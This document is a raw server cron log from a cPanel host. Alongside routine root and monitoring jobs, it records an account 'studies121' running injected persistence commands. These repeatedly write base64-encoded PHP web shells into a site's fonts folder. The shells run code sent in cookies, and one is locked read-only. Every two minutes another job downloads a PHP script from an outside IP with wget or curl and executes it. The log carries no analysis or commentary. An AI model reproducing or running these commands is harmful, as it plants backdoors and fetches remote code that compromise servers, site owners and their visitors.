Sep  7 05:46:02 ip-184-168-122-23 CROND[1859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:46:02 ip-184-168-122-23 CROND[1860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:47:01 ip-184-168-122-23 CROND[1959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:47:01 ip-184-168-122-23 CROND[1960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:47:01 ip-184-168-122-23 CROND[1961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:47:01 ip-184-168-122-23 CROND[1962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:48:01 ip-184-168-122-23 CROND[2105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:48:01 ip-184-168-122-23 CROND[2106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:48:01 ip-184-168-122-23 CROND[2107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:48:01 ip-184-168-122-23 CROND[2109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:48:01 ip-184-168-122-23 CROND[2110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:49:01 ip-184-168-122-23 CROND[2225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:49:01 ip-184-168-122-23 CROND[2227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:49:01 ip-184-168-122-23 CROND[2229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:49:01 ip-184-168-122-23 CROND[2228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:50:01 ip-184-168-122-23 CROND[2476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:50:01 ip-184-168-122-23 CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:50:01 ip-184-168-122-23 CROND[2484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:51:01 ip-184-168-122-23 CROND[2652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:51:01 ip-184-168-122-23 CROND[2654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:51:01 ip-184-168-122-23 CROND[2656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:51:01 ip-184-168-122-23 CROND[2655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:52:01 ip-184-168-122-23 CROND[2757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:52:01 ip-184-168-122-23 CROND[2759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:52:01 ip-184-168-122-23 CROND[2760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:52:01 ip-184-168-122-23 CROND[2761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:52:01 ip-184-168-122-23 CROND[2762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:53:01 ip-184-168-122-23 CROND[2882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:53:01 ip-184-168-122-23 CROND[2884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:53:01 ip-184-168-122-23 CROND[2883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:53:01 ip-184-168-122-23 CROND[2885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:54:01 ip-184-168-122-23 CROND[3016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:54:01 ip-184-168-122-23 CROND[3019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:54:01 ip-184-168-122-23 CROND[3017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:54:01 ip-184-168-122-23 CROND[3018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:54:01 ip-184-168-122-23 CROND[3023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:55:01 ip-184-168-122-23 CROND[3230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:55:01 ip-184-168-122-23 CROND[3231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:55:01 ip-184-168-122-23 CROND[3234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:55:01 ip-184-168-122-23 CROND[3235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:55:01 ip-184-168-122-23 CROND[3237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:55:01 ip-184-168-122-23 CROND[3236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:56:01 ip-184-168-122-23 CROND[3372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:56:01 ip-184-168-122-23 CROND[3376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:56:01 ip-184-168-122-23 CROND[3374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:56:01 ip-184-168-122-23 CROND[3375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:56:01 ip-184-168-122-23 CROND[3377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:57:02 ip-184-168-122-23 CROND[3503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:57:02 ip-184-168-122-23 CROND[3504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:57:02 ip-184-168-122-23 CROND[3507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:57:02 ip-184-168-122-23 CROND[3508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:58:01 ip-184-168-122-23 CROND[3654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:58:01 ip-184-168-122-23 CROND[3656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:58:01 ip-184-168-122-23 CROND[3657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:58:01 ip-184-168-122-23 CROND[3660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:58:01 ip-184-168-122-23 CROND[3659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
